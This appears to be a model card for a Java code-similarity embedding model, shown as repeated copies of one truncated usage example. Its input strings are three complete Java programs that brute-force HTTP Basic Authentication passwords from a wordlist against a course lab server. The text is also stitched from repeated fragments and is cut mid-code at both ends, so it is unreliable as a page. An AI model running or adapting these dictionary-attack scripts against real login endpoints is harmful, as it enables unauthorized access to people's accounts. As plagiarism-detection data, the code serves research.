 getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n       